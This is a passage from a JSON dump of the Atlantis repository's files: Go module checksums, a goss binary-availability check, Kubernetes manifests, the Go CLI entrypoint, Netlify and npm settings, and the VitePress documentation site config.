h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=\ngoogle.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=\ngoogle.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=\ngoogle.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=\ngoogle.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=\ngoogle.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=\ngoogle.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=\ngoogle.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=\ngoogle.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=\ngoogle.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=\ngoogle.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=\ngoogle.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=\ngoogle.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=\ngoogle.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=\ngoogle.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=\ngoogle.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=\ngoogle.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=\ngoogle.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=\ngoogle.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=\ngoogle.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=\ngoogle.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=\ngoogle.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.36.7 h1:IgrO7UwFQGJdRNXH/sQux4R1Dj1WAKcLElzeeRaXV2A=\ngoogle.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME=\ngopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\n"
  },
  {
    "path": "goss.yaml",
    "content": "# See: https://github.com/goss-org/goss/blob/master/docs/gossfile.md\n\ncommand:\n  # ensure atlantis is available\n  atlantis-available:\n    exec: \"atlantis version\"\n    exit-status: 0\n    stdout: []\n    stderr: []\n\n  # ensure conftest is available\n  conftest-available:\n    exec: \"conftest -v\"\n    exit-status: 0\n    stdout: []\n    stderr: []\n\n  # ensure git-lfs is available\n  git-lfs-available:\n    exec: \"git-lfs -v\"\n    exit-status: 0\n    stdout: []\n    stderr: []\n\n  # ensure terraform is available\n  terraform-available:\n    exec: \"terraform version\"\n    exit-status: 0\n    stdout: []\n    stderr: []\n\n  # ensure tofu binary is available\n  tofu-available:\n    exec: \"tofu version\"\n    exit-status: 0\n    stdout: []\n    stderr: []\n"
  },
  {
    "path": "kustomize/bundle.yaml",
    "content": "---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: atlantis\nspec:\n  serviceName: atlantis\n  replicas: 1\n  updateStrategy:\n    type: RollingUpdate\n    rollingUpdate:\n      partition: 0\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: atlantis\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: atlantis\n    spec:\n      securityContext:\n        fsGroup: 1000 # Atlantis group (1000) read/write access to volumes.\n      containers:\n      - name: atlantis\n        image: ghcr.io/runatlantis/atlantis:latest\n        env:\n        - name: ATLANTIS_DATA_DIR\n          value: /atlantis\n        - name: ATLANTIS_PORT\n          value: \"4141\" # Kubernetes sets an ATLANTIS_PORT variable so we need to override.\n        volumeMounts:\n        - name: atlantis-data\n          mountPath: /atlantis\n        ports:\n        - name: atlantis\n          containerPort: 4141\n        resources:\n          requests:\n            memory: 256Mi\n            cpu: 100m\n          limits:\n            memory: 256Mi\n            cpu: 100m\n        livenessProbe:\n          # We only need to check every 60s since Atlantis is not a\n          # high-throughput service.\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n        readinessProbe:\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n  volumeClaimTemplates:\n  - metadata:\n      name: atlantis-data\n    spec:\n      accessModes: [\"ReadWriteOnce\"] # Volume should not be shared by multiple nodes.\n      resources:\n        requests:\n          # The biggest thing Atlantis stores is the Git repo when it checks it out.\n          # It deletes the repo after the pull request is merged.\n          storage: 5Gi\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: atlantis\nspec:\n  type: ClusterIP\n  ports:\n  - name: atlantis\n    port: 80\n    targetPort: 4141\n  selector:\n    app.kubernetes.io/name: atlantis\n"
  },
  {
    "path": "kustomize/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\nresources:\n- bundle.yaml\n"
  },
  {
    "path": "main.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package main is the entrypoint for the CLI.\npackage main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/cmd\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/spf13/viper\"\n)\n\n// All of this is filled in by goreleaser upon release\n// https://goreleaser.com/cookbooks/using-main.version/\nvar (\n\tversion = \"dev\"\n\tcommit  = \"none\"\n\tdate    = \"unknown\"\n)\n\nfunc main() {\n\n\tv := viper.New()\n\n\tlogger, err := logging.NewStructuredLogger()\n\n\tlogger.Debug(\"atlantis %s, commit %s, built at %s\\n\", version, commit, date)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"unable to initialize logger. %s\", err.Error()))\n\t}\n\n\tvar sha = commit\n\tif len(commit) >= 7 {\n\t\tsha = commit[:7]\n\t}\n\n\tatlantisVersion := fmt.Sprintf(\"%s (commit: %s) (build date: %s)\", version, sha, date)\n\n\t// We're creating commands manually here rather than using init() functions\n\t// (as recommended by cobra) because it makes testing easier.\n\tserver := &cmd.ServerCmd{\n\t\tServerCreator:   &cmd.DefaultServerCreator{},\n\t\tViper:           v,\n\t\tAtlantisVersion: atlantisVersion,\n\t\tLogger:          logger,\n\t}\n\tversion := &cmd.VersionCmd{AtlantisVersion: atlantisVersion}\n\ttestdrive := &cmd.TestdriveCmd{}\n\tcmd.RootCmd.AddCommand(server.Init())\n\tcmd.RootCmd.AddCommand(version.Init())\n\tcmd.RootCmd.AddCommand(testdrive.Init())\n\tcmd.Execute()\n}\n"
  },
  {
    "path": "netlify.toml",
    "content": "# Netlify Config, https://www.netlify.com/docs/netlify-toml-reference/\n[build]\nbase = \"/\"\ncommand = \"npm install && npm run website:build\"\npublish = \"runatlantis.io/.vitepress/dist/\"\n\n[[redirects]]\nforce = true\nfrom = \"/guide/getting-started.html\"\nstatus = 301\nto = \"/guide/\"\n\n[[redirects]]\nforce = true\nfrom = \"/docs/atlantis-yaml-reference.html\"\nstatus = 301\nto = \"/docs/repo-level-atlantis-yaml.html\"\n\n[[headers]]\nfor = \"/*\"\n[headers.values]\nCache-Control = \"public, max-age=86400\"\nReferrer-Policy = \"no-referrer\"\nStrict-Transport-Security = \"max-age=86400; includeSubDomains; preload\"\nX-Content-Type-Options = \"nosniff\"\nX-Frame-Options = \"DENY\"\nX-XSS-Protection = \"1; mode=block\"\n\n[[headers]]\nfor = \"*.html\"\n[headers.values]\nContent-Type = \"text/html; charset=UTF-8\"\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"license\": \"Apache-2.0\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@playwright/test\": \"1.58.2\",\n    \"@types/node\": \"24.10.13\",\n    \"@vueuse/core\": \"12.8.2\",\n    \"markdown-it-footnote\": \"4.0.0\",\n    \"markdownlint-cli\": \"0.47.0\",\n    \"mermaid\": \"11.12.3\",\n    \"sitemap-ts\": \"1.10.1\",\n    \"vite\": \"6.4.1\",\n    \"vitepress\": \"1.6.4\",\n    \"vitepress-plugin-mermaid\": \"2.0.17\",\n    \"vue\": \"3.5.28\"\n  },\n  \"overrides\": {\n    \"minimatch\": \"^10.2.1\",\n    \"markdown-it\": \"^14.1.1\"\n  },\n  \"scripts\": {\n    \"website:dev\": \"vitepress dev --host localhost --port 8080 runatlantis.io\",\n    \"website:lint\": \"markdownlint runatlantis.io\",\n    \"website:lint-fix\": \"markdownlint --fix runatlantis.io\",\n    \"website:build\": \"vitepress build runatlantis.io\",\n    \"e2e\": \"playwright test\"\n  }\n}\n"
  },
  {
    "path": "playwright.config.cjs",
    "content": "module.exports = {\n  testDir: './runatlantis.io/e2e'\n};\n"
  },
  {
    "path": "runatlantis.io/.vitepress/components/Banner.vue",
    "content": "<script setup lang=\"ts\">\nimport { useElementSize } from '@vueuse/core';\nimport { ref, watchEffect } from 'vue';\nconst el = ref<HTMLElement>();\nconst { height } = useElementSize(el);\nwatchEffect(() => {\n  if (height.value) {\n    document.documentElement.style.setProperty(\n      '--vp-layout-top-height',\n      `${height.value + 16}px`\n    );\n  }\n});\nconst dismiss = () => {\n  localStorage.setItem(\n    'survey-banner',\n    (Date.now() + 8.64e7 * 1).toString() // current time + 1 day\n  );\n  document.documentElement.classList.add('banner-dismissed');\n};\n</script>\n\n<template>\n  <!-- <div ref=\"el\" class=\"banner\">\n    <div class=\"text\">\n    </div>\n\n    <button type=\"button\" @click=\"dismiss\">\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        viewBox=\"0 0 20 20\"\n        fill=\"currentColor\"\n      >\n        <path\n          d=\"M6.28 5.22a.75.75 0 00-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 101.06 1.06L10 11.06l3.72 3.72a.75.75 0 101.06-1.06L11.06 10l3.72-3.72a.75.75 0 00-1.06-1.06L10 8.94 6.28 5.22z\"\n        />\n      </svg>\n    </button>\n  </div> -->\n</template>\n\n<style>\n.banner-dismissed {\n  --vp-layout-top-height: 0px !important;\n}\nhtml {\n  --vp-layout-top-height: 88px;\n}\n@media (min-width: 375px) {\n  html {\n    --vp-layout-top-height: 64px;\n  }\n}\n@media (min-width: 768px) {\n  html {\n    --vp-layout-top-height: 40px;\n  }\n}\n</style>\n\n<style scoped>\n.banner-dismissed .banner {\n  display: none;\n}\n.banner {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: var(--vp-z-index-layout-top);\n  padding: 8px;\n  text-align: center;\n  background: #383636;\n  color: #fff;\n  display: flex;\n  justify-content: space-between;\n}\n.text {\n  flex: 1;\n}\na {\n  text-decoration: underline;\n}\nsvg {\n  width: 20px;\n  height: 20px;\n  margin-left: 8px;\n}\n</style>\n"
  },
  {
    "path": "runatlantis.io/.vitepress/components/shims.d.ts",
    "content": "declare module '*.vue' {\n  import type { DefineComponent } from 'vue';\n  const component: DefineComponent;\n  export default component;\n}\n"
  },
  {
    "path": "runatlantis.io/.vitepress/config.ts",
    "content": "import { generateSitemap as sitemap } from \"sitemap-ts\"\nimport footnote from 'markdown-it-footnote'\nimport { defineConfig } from 'vitepress';\nimport * as navbars from \"./navbars\";\nimport * as sidebars from \"./sidebars\";\nimport { withMermaid } from \"vitepress-plugin-mermaid\";\n\n// https://vitepress.dev/reference/site-config\nconst config = defineConfig({\n    title: 'Atlantis',\n    description: 'Atlantis: Terraform Pull Request Automation',\n    lang: 'en-US',\n    lastUpdated: true,\n    locales: {\n        root: {\n            label: 'English',\n            lang: 'en-US',\n            themeConfig: {\n                nav: navbars.en,\n                sidebar: sidebars.en,\n            },\n        },\n    },\n    themeConfig: {\n        // https://vitepress.dev/reference/default-theme-config\n        editLink: {\n            pattern: 'https://github.com/runatlantis/atlantis/edit/main/runatlantis.io/:path'\n        },\n        // headline \"depth\" the right nav will show for its TOC\n        //\n        // https://vitepress.dev/reference/frontmatter-config#outline\n        outline: [2, 3],\n        search: {\n            provider: 'algolia',\n            options: {\n                // We internally discussed how this API key is exposed in the code and decided\n                // that it is a non-issue because this API key can easily be extracted by\n                // looking at the browser dev tools since the key is used in the API requests.\n                apiKey: '3b733dff1539ca3a210775860301fa86',\n                indexName: 'runatlantis',\n                appId: 'BH4D9OD16A',\n                locales: {\n                    '/': {\n                        placeholder: 'Search Documentation',\n                        translations: {\n                            button: {\n                                buttonText: 'Search Documentation',\n                            },\n                        },\n                    },\n                },\n            }\n        },\n        socialLinks: [\n          { icon: \"slack\", link: \"https://slack.cncf.io/\" },\n          { icon: \"twitter\", link: \"https://twitter.com/runatlantis\" },\n          { icon: \"github\", link: \"https://github.com/runatlantis/atlantis\" },\n        ],\n        footer: {\n            message: 'The Linux Foundation® (TLF) has registered trademarks and uses trademarks. For a list of TLF trademarks, see <a href=\"https://www.linuxfoundation.org/legal/trademark-usage\">Trademark Usage</a>.',\n        },\n    },\n    // SEO Improvement - sitemap.xml & robots.txt\n    buildEnd: async ({ outDir }) => {\n        sitemap({\n            hostname: \"https://www.runatlantis.io/\",\n            outDir: outDir,\n            generateRobotsTxt: true,\n        })\n    },\n    head: [\n        ['link', { rel: 'icon', type: 'image/png', href: '/favicon-196x196.png', sizes: '196x196' }],\n        ['link', { rel: 'icon', type: 'image/png', href: '/favicon-96x96.png', sizes: '96x96' }],\n        ['link', { rel: 'icon', type: 'image/png', href: '/favicon-32x32.png', sizes: '32x32' }],\n        ['link', { rel: 'icon', type: 'image/png', href: '/favicon-16x16.png', sizes: '16x16' }],\n        ['link', { rel: 'icon', type: 'image/png', href: '/favicon-128.png', sizes: '128x128' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '57x57', href: '/apple-touch-icon-57x57.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '114x114', href: '/apple-touch-icon-114x114.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '72x72', href: '/apple-touch-icon-72x72.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '144x144', href: '/apple-touch-icon-144x144.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '60x60', href: '/apple-touch-icon-60x60.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '120x120', href: '/apple-touch-icon-120x120.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '76x76', href: '/apple-touch-icon-76x76.png' }],\n        ['link', { rel: 'apple-touch-icon-precomposed', sizes: '152x152', href: '/apple-touch-icon-152x152.png' }],\n        ['meta', { name: 'msapplication-TileColor', content: '#FFFFFF' }],\n        ['meta', { name: 'msapplication-TileImage', content: '/mstile-144x144.png' }],\n        ['meta', { name: 'msapplication-square70x70logo', content: '/mstile-70x70.png' }],\n        ['meta', { name: 'msapplication-square150x150logo', content: '/mstile-150x150.png' }],\n        ['meta', { name: 'msapplication-wide310x150logo', content: '/mstile-310x150.png' }],\n        ['meta', { name: 'msapplication-square310x310logo', content: '/mstile-310x310.png' }],\n        ['link', { rel: 'stylesheet', sizes: '152x152', href: 'https://fonts.googleapis.com/css?family=Lato:400,900' }],\n        ['meta', { name: 'google-site-verification', content: 'kTnsDBpHqtTNY8oscYxrQeeiNml2d2z-03Ct9wqeCeE' }],\n        // google analytics\n        [\n            'script',\n            { async: '', src: 'https://www.googletagmanager.com/gtag/js?id=G-PGYBJTZMP2' }\n        ],\n        [\n            'script',\n            {},\n            `window.dataLayer = window.dataLayer || [];\n            function gtag(){dataLayer.push(arguments);}\n            gtag('js', new Date());\n\n            gtag('config', 'G-PGYBJTZMP2');`\n        ],\n        [\n            'script',\n            { id: 'restore-banner-preference' },\n            `\n        (() => {\n          const restore = (key, cls, def = false) => {\n            const saved = localStorage.getItem(key);\n            if (saved ? saved !== 'false' && new Date() < saved : def) {\n              document.documentElement.classList.add(cls);\n            }\n          };\n          restore('survey-banner', 'banner-dismissed');\n        })();`,\n        ]\n    ],\n    markdown: {\n        config: (md) => {\n          md.use(footnote)\n        }\n    },\n    vite: {\n        server: {\n            fs: {\n                cachedChecks: false,\n            },\n        }\n    }\n})\n\nexport default withMermaid(config)\n"
  },
  {
    "path": "runatlantis.io/.vitepress/navbars.ts",
    "content": "const en = [\n  { text: \"Home\", link: \"/\" },\n  { text: \"Guide\", link: \"/guide\" },\n  { text: \"Docs\", link: \"/docs\" },\n  { text: \"Contributing\", link: \"/contributing\" },\n  { text: \"Blog\", link: \"/blog\" },\n];\n\nexport { en };\n"
  },
  {
    "path": "runatlantis.io/.vitepress/sidebars.ts",
